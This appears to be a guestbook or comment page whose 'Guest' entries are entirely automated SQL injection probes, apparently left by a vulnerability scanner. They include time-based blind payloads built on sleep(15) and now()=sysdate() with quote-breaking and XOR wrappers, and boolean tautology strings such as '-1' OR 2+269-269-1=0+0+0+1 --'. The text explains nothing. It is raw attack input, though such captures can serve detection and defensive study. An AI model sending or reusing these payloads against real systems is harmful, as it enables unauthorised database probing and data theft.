Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/


Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/


-1 OR 2+642-642-1=0+0+0+1 --

-1 OR 2+385-385-1=0+0+0+1

-1' OR 2+269-269-1=0+0+0+1 --

-1' OR 2+156-156-1=0+0+0+1 or '4kWXVlgH'='

-1" OR 2+743-743-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z